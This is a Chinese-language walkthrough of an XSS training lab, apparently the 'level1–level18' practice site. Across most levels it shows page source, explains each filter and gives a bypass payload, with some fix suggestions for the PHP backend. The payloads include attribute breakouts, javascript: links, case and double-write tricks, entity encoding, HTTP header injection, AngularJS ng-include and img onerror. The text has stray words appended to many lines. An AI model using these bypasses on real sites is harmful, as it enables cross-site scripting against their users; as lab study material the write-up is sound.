By:Mirror王宇阳javascript
time:2020/04/06php
咱们进入到这个页面以后,快速关注到几个点,Xss注重的输入点,这里的输入点首先在URL栏中找到了name
值,Payload检测了该值的长度,因此咱们接下来的全部动做都在这个地方进行。html
咱们翻开源码发现java
<body> <h1 align=center>欢迎来到level1</h1> <h2 align=center>欢迎用户test</h2> <center><img src=level1.png></center> <h3 align=center>payload的长度:4</h3> </body>
咱们能够对name
熟悉作手脚,试构造Payload:angularjs
name=<script>alert(/xss/)</script>
修复建议后端
<!DOCTYPE html> <html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level2.php?keyword=test"; } </script> <title>欢迎来到level1</title> </head> <body> <h1 align=center>欢迎来到level1</h1> <?php ini_set("display_errors", 0); $str = $_GET["name"]; echo "<h2 align=center>欢迎用户".$str."</h2>"; ?> <center><img src=level1.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
从源码中能够看出问题出自$str = $_GET["name"];
,将用户输入的内容原样输出了app
$str = htmlspecialchars($_GET["name"] , ENT_QUOTES);
使用 htmlspecialchars
函数转为HTML实体,留意第二个参数不要忘了!后续的许多源码与这里同一个道理,具体的在作解释!xss
本题题面看不出区别,可是HTML就有所构造不一样了函数
<body> <h1 align=center>欢迎来到level2</h1> <h2 align=center>没有找到和<>test相关的结果.</h2><center> <form action=level2.php method=GET> <input name=keyword value="<>test"> <input type=submit name=submit value="搜索"/> </form> </center><center><img src=level2.png></center> <h3 align=center>payload的长度:6</h3></body>
没错,后台使用了函数对<>
进行了HTML实体,不过咱们也仍是发现了一个点!学习
<input name=keyword value="<>test">
input输入点,没错后端在搜索后是保留搜索的关键字内容,全部这就是缺洞!
"><script>alert(1)</script><"
Payload完美的闭合了input标签
<input name=keyword value=""><script>alert(1)</script><"">
<body> <h1 align=center>欢迎来到level3</h1> <h2 align=center>没有找到和<>test相关的结果.</h2><center> <form action=level3.php method=GET> <input name=keyword value='<>test'> <input type=submit name=submit value=搜索 /> </form> </center><center><img src=level3.png></center> <h3 align=center>payload的长度:6</h3></body>
这里将level2的漏给堵上了!咱们从<>
能够得知后端是利用htmlspecialchars
函数转为HTML实体编码后输出的,但咱们在level1的时候说了htmlspecialchars
存在一种开发手误,就是后端开发忘记了设置函数的第二参数致使“会转换双引号,不转换单引号”
ps:这里的input标签中的属性使用的单引号,因此咱们的Payload才能够成功!
' onclick=alert(1) '
<input name=keyword value='' onclick=alert(1) ''>
这里有一点比较有趣,就是onclick这个属性;咱们都知道输入框输入以后,保留输入内容,而咱们的onclick
就会保留在input标签中,而触发条件须要咱们单击输入框。
发生了一个比较玄学的东西,咱们再来瞅瞅HTML源码
<body> <h1 align=center>欢迎来到level4</h1> <h2 align=center>没有找到和<>text相关的结果.</h2><center> <form action=level4.php method=GET> <input name=keyword value="text"> <input type=submit name=submit value=搜索 /> </form> </center><center><img src=level4.png></center> <h3 align=center>payload的长度:4</h3></body>
<input name=keyword value="text">
没错,咱们输入的两个尖括号消失了;并且input标签采用了双引号,level3的方法也是行不通的!不过我仍是“画蛇添足”的使用双引号
" onclick=alert(1) "
没想到!成功了!看样子后端没有HTML实体编码!
<body> <h1 align=center>欢迎来到level5</h1> <h2 align=center>没有找到和<script></srcipt> ' " test相关的结果.</h2><center> <form action=level5.php method=GET> <input name=keyword value="<scr_ipt></srcipt> ' " test"> <input type=submit name=submit value=搜索 /> </form> </center><center><img src=level5.png></center> <h3 align=center>payload的长度:27</h3></body>
综合了几个不一样的payload特性测试了level5的过滤方式,发如今<h2>
标签使用了HTML实体编码,在<input>
标签则没有使用HTML实体编码而是作了些过滤删改“ 对script转为scr_ipt ”,后续测试发现 “onclick =》 o_click”,双写、大小写混合等方式均失败!
绕过的策略就是避开他拉黑的函数,使用其它的方式触发!其它事件属性测试后发现没有效果,都被加了下划线隔开了!可见事件触发式不行的了!
另辟蹊径~咱们……使用a标签去绕过对scrip标签的检查和事件属性的检测
"><a href="javascript:alert(/xss/)">alert</a> <"
<body> <h1 align=center>欢迎来到level6</h1> <h2 align=center>没有找到和<script> <a> href \ " ' alert相关的结果.</h2><center> <form action=level6.php method=GET> <input name=keyword value="<scr_ipt> <a> hr_ef \ " ' alert"> <input type=submit name=submit value=搜索 /> </form> </center><center><img src=level6.png></center> <h3 align=center>payload的长度:32</h3></body>
能够发现,对上一关的 href
作了过滤隔开!测了上前五关的payload,而后使用双写、大小写方式绕过:
"><a HREf="javascript:alert(/xss/)">alert</a> <"
<body> <h1 align=center>欢迎来到level7</h1> <h2 align=center>没有找到和<script> <a> href \ " ' alert相关的结果.</h2><center> <form action=level7.php method=GET> <input name=keyword value="<> <a> \ " ' alert"> <input type=submit name=submit value=搜索 /> </form> </center><center><img src=level7.png></center> <h3 align=center>payload的长度:20</h3></body>
这里能够看出简单粗暴的处理方式,直接将敏感内容为空了!而后使用双写、大小写方式绕过:
"><a hrehreff="javascripscriptt:alert(/xss/)">alert</a> <"
level6:没有对输入变量进行统一小写/大写转换,应该添加
strtolower
函数统一小写,便于如下操做:$str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5);level7:必须注意
str_replace
函数,该函数只对字符串进行一次查找并所有替换、大小写敏感;解决方法就是将替换后的字符串再一次做为替换源进行替换。$str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5);
能够看出,这里的输入内容是一个超连接!
<body> <h1 align=center>欢迎来到level8</h1> <center> <form action=level8.php method=GET> <input name=keyword value="<><script>onclick ' " / alert herf "> <input type=submit name=submit value=添加友情连接 /> </form> </center><center><BR><a href="<><scr_ipt>o_nclick ' " / alert herf ">友情连接</a></center><center><img src=level8.jpg></center> <h3 align=center>payload的长度:41</h3></body>
第一时间想到了 javascript:alert(xss)
,可是发现 script
被分割了!
经过前辈的思路,学来了编码绕过…… HTML编码 >> 照例解析 >> 输出HTML代码(咱们输入的HTML编码 输出的则是代码,HTML实体编码在HTML页面会被解析而在后端看不到)
javascript:alert(/xss/)
javascript:alert(/xss/)
<body> <h1 align=center>欢迎来到level9</h1> <center> <form action=level9.php method=GET> <input name=keyword value="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x2f;&#x78;&#x73;&#x73;&#x2f;&#x29;"> <input type=submit name=submit value=添加友情连接 /> </form> </center><center><BR><a href="您的连接不合法?有没有!">友情连接</a></center><center><img src=level9.png></center> <h3 align=center>payload的长度:138</h3></body>
使用level8-payload测试,发现如上!推测后端对咱们的输入内容进行了检测!
if(false===strpos($str7,'http://')) { echo '<center><BR><a href="您的连接不合法?有没有!">友情连接</a></center>'; } else { echo '<center><BR><a href="'.$str7.'">友情连接</a></center>'; }
后端检测了字符串中是否有“http://”,咱们须要在合适的地方插入它:
javascript:alert('http://')
<body> <h1 align=center>欢迎来到level10</h1> <h2 align=center>没有找到和<><script> onclick ' " /相关的结果.</h2><center> <form id=search> <input name="t_link" value="" type="hidden"> <input name="t_history" value="" type="hidden"> <input name="t_sort" value="" type="hidden"> </form> </center><center><img src=level10.png></center> <h3 align=center>payload的长度:24</h3></body>
keyword
值被HTML实体编码了,没有利用的必要了,也没有闭合的可能!
关注三个被隐藏的input标签:?keyword=test&t_link=test&t_history&t_sort=test
只有t_sort
这个参数有了效果,构造:
" onclick=alert(/xss/) type="text" ><
?keyword=test&t_sort=" onclick=alert(/xss/) type="text" ><
<input name="t_sort" value="" onclick=alert(/xss/) type="text" " type="hidden">
ok~~~🙂
<body> <h1 align=center>欢迎来到level11</h1> <h2 align=center>没有找到和test相关的结果.</h2><center> <form id=search> <input name="t_link" value="" type="hidden"> <input name="t_history" value="" type="hidden"> <input name="t_sort" value="" onclick=alert(/xss/) type="text" ><" type="hidden"> <input name="t_ref" value="" type="hidden"> </form> </center><center><img src=level11.png></center> <h3 align=center>payload的长度:4</h3></body>
?keyword=test&t_link=test&t_history&t_sort=test
t_sort
被HTML实体编码,双引号闭合,没戏了!换一个思路t_ref
的参数值是请求包中的Referer
ok~~~🙂
<body> <h1 align=center>欢迎来到level12</h1> <h2 align=center>没有找到和good job!相关的结果.</h2><center> <form id=search> <input name="t_link" value="" type="hidden"> <input name="t_history" value="" type="hidden"> <input name="t_sort" value="" type="hidden"> <input name="t_ua" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" type="hidden"> </form> </center><center><img src=level12.png></center> <h3 align=center>payload的长度:9</h3></body>
和level11一模一样
ok~~~🙂
<body> <h1 align=center>欢迎来到level13</h1> <h2 align=center>没有找到和good job!相关的结果.</h2><center> <form id=search> <input name="t_link" value="" type="hidden"> <input name="t_history" value="" type="hidden"> <input name="t_sort" value="" type="hidden"> <input name="t_cook" value="" type="hidden"> </form> </center><center><img src=level13.png></center> <h3 align=center>payload的长度:9</h3></body>
ok~~~🙂
环境出现问题 ~~~ ❓ ”shy014“复现level14关
<html ng-app> <head> <meta charset="utf-8"> <script src="angular.min.js"></script> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level16.php?keyword=test"; } </script> <title>欢迎来到level15</title> </head> <h1 align=center>欢迎来到第15关,本身想个办法走出去吧!</h1> <p align=center><img src=level15.png></p> <body><span class="ng-include:1.gif"></span></body>
眨眼一看很是的懵啊!而后仔细观察了src
参数值1.gif
而页面并无成功的载入该图片;因而我注意到angular.min.js
,我不了解Angular,因此我查了class="ng-include"
AngularJS ng-include
指令 用于包含外部的HTML文件,包含的内容做为元素的子节点,属性值能够是一个表达式返回一个文件名;意思就是咱们能够利用src包含一个存在xss的页面(包含level13/12/11没反应)
src= 'level10.php?t_sort=" onclick=alert(/xss/) type="text" >< '
<body> <h1 align=center>欢迎来到level16</h1> <center><>< > scrip t " ' \</center> <center><img src=level16.png></center> <h3 align=center>payload的长度:4</h3></body>
level16.php?keyword=<><script>script scripScrIPtt " ' \
后端过滤了script
\
替换为 
可是每有过滤尖括号,咱们使用img标签
<img%0asrc=x%0aonerror=alert(1)>
这里的%0a
是换行,之因此不用空格是发现后端还过滤的空格
<body> <h1 align=center>欢迎来到level17</h1> <embed src=xsf01.swf?a=<><scripscriptt> ' " \ () onclick onerror img width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2> </body>
level17.php?arg01=a&arg02==<><scripscriptt> ' " \ () onclick onerror img
尖括号、双引号均被HTML实体编码;一般是采用闭合的方式xss,但这里直接把尖括号给毙了!因此就得考虑其它思路。
?arg01=a&arg02=b%0aonmouseover%3dalert(1)
<body> <h1 align=center>欢迎来到level18</h1> <embed src=xsf02.swf?a=b width=100% heigth=100%></body>
?arg01=a&arg02=b%0aonmouseover%3dalert(1)
和level19 同一个payload 🙂
首先修改 的宽高,而后就会全显示以下:
能力以外的两关关于flash
END